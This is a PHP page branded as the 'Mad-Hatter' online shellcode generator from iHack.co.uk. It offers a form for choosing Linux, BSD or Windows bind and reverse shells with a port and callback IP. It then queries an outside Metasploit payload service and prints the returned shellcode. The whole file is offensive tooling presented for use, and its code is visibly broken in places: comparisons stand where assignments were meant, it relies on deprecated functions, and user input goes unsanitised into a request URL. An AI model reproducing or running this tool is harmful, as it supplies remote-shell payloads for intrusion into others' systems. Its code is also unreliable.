 <?php error_reporting(0); ?>
<html>
<body>
<style type="text/css">
body{background-color:#2b2b2b;background-image:url(images/background.gif);font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;color:#99ff32}
.shellcode{font-size:10pt;color:#FFF;font-weight:400}
.border{border:1px solid #069;background-color:#000}
.header{background-color:#000}
.content-background{background-color:#000;background-image:url(images/content-background.gif);padding:10px}
.text-strong{font-weight:700}
.content-border{border:1px solid #99ff32;background-color:#1A1A1A; margin-top:30px;}
textarea{font-size:10px;color:#069;background-color:#161616;border:#069 1px solid}
input{background:#2f2e2e;border:1px solid #5d5d5d;color:#99ff32;font:11px tahoma,verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif}
select{font-size:10px;color:#99ff32;background:#2f2e2e;border:#99ff32 1px solid}
hr{border:1px dashed #99ff32;margin:15px 0}
a:link,a:visited{color:#069}
a:hover,a:active{color:#CCC}
</style>
<body>
<?PHP
if(isset($_POST['port'])){


function input_match($source, $num, $preg, $preg1) {
	$parts = explode($preg, $source);
	$parts = explode($preg1, $parts[$num]);
	$var = $parts[0];
	return $parts[0];
}

function browse($url) {
	$ch = curl_init();
	curl_setopt ($ch, CURLOPT_URL, $url);
	curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
	curl_setopt ($ch, CURLOPT_TIMEOUT, '10');
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
	$store = curl_exec ($ch);
	return $store;
}

function glob_match_bind_shell($os) {
	if($os == 'linux_ia32_bind') {
		$glob == "GLOB(0x2b4a01c2fef0)";
	} else
		if ($os == 'bsd_ia32_bind') {
			$glob == "GLOB(0x2b4a01c208a0)";
		}else
			if($os == 'win32_bind') {
				$glob == "GLOB(0x2b4a01c41e90)";
			}
return $glob;			
}

function glob_match_rev_shell($os)
{
	if($os == 'linux_ia32_reverse')
	{
		$glob == "GLOB(0x2b4a01c41fb0)";
	}else
		if($os == 'bsd_ia32_reverse')
		{
		$glob == "GLOB(0x2b4a01c41d30)";
		}else
			if($os == 'win32_reverse')
			{
				$glob == "GLOB(0x2b4a01b95800)";
			}
return $glob;			
}

function bind_shell($port, $os)
{
	$glob = glob_match_bind_shell($os);
		$input = browse("http://metasploit.com:55555/PAYLOADS?parent=$glob&MODULE=$os&MODE=GENERATE&OPT_LPORT=".$port."&MaxSize=&BadChars=0x00+&ENCODER=default&ACTION=Generate+Payload");
		$size = input_match($input, 1, "Size=", " ");
		$output = input_match($input, 1, "*/", "#");
		$type = ucwords(str_replace("_"," ",$os));
		echo "<table width='100%' cellspacing=0 border=0 cellpadding=0>
		<br><pre>
		<div class=shellcode>/* <br> iHack.co.uk <br> Mad-Hatter's Online Shell Code Generator <br> We are the Innovators <br> Port = $port <br> Size = $size <br> Type = $type <br> */ $output </div></table>";
}

function reverse_shell($host, $port, $os)
{
$glob = glob_match_rev_shell($os);
	$input = browse("http://metasploit.com:55555/PAYLOADS?parent=$glob&MODULE=$os&MODE=GENERATE&OPT_EXITFUNC=seh&OPT_LHOST=$host&OPT_LPORT=$port&MaxSize=&BadChars=0x00+&ENCODER=default&ACTION=Generate+Payload");
	$size = input_match($input, 1, "Size=", " ");
	$output = input_match($input, 1, "*/", "#");
	$type = ucwords(str_replace("_"," ",$os));
	echo "<table width='100%' cellspacing=0 border=0 cellpadding=0>
		<br><pre>
		<div class=shellcode>/* <br> iHack.co.uk <br> Mad-Hatter's Online Shell Code Generator <br> We are the Innovators <br> Port = $port <br> Size = $size <br> Type = $type <br> */ $output </div></table>";

}

if(!eregi("_bind", $os))
	{
	echo reverse_shell($host, $port, $os);
		}else{
		echo bind_shell($port, $os);
		}

}else{
echo '<center>
<table border="0" style="width:33%;height:90px" cellpadding="3" cellspacing="1" class="content-border" id="table3">
<tr>
<td class="content-background">
<div align="center"><center>
	<h4>Online Shell Code Generator: Mad-Hatter</h4>
<br>
<div style="color:#99ff32;font-size:9pt">
<hr />
<form method="POST" action="'.$_SERVER['PHP_SELF'].'" >

<table width="100%" cellspacing=0 border=0 cellpadding=0>
		Shell Code:
		<select name="os">
			<option value="linux_ia32_bind">Linux IA32 Bind Shell</option>
			<option value="linux_ia32_reverse">Linux IA32 Reverse Shell</option>
			<option value="bsd_ia32_bind">BSD IA32 Bind</option>
			<option value="bsd_ia32_reverse">BSD IA32 Reverse</option>
			<option value="win32_bind">Windows[32] Bind</option>
			<option value="win32_reverse">Windows[32] Reverse</option>
		</select>
</table>
<table width="100%" cellspacing=0 border=0 cellpadding=0>
	Port: <input type="text" name="port" value="8080">
</table>
<table width="100%" cellspacing=0 border=0 cellpadding=0>
	Reverse IP: <input type="text" name="host" value='.$_SERVER['REMOTE_ADDR'].'>
</table>
<table width="100%" cellspacing=0 border=0 cellpadding=0>
	<input type="submit" name="submit" value="Generate Shell Code!" />
</table>
</form>
';
$port = $_REQUEST['port'];
$host = $_REQUEST['host'];
$os	  = $_REQUEST['os'];
}
?>
<hr />
<a href="http://iHack.co.uk">iHack.co.uk</a>
</body>
</html>


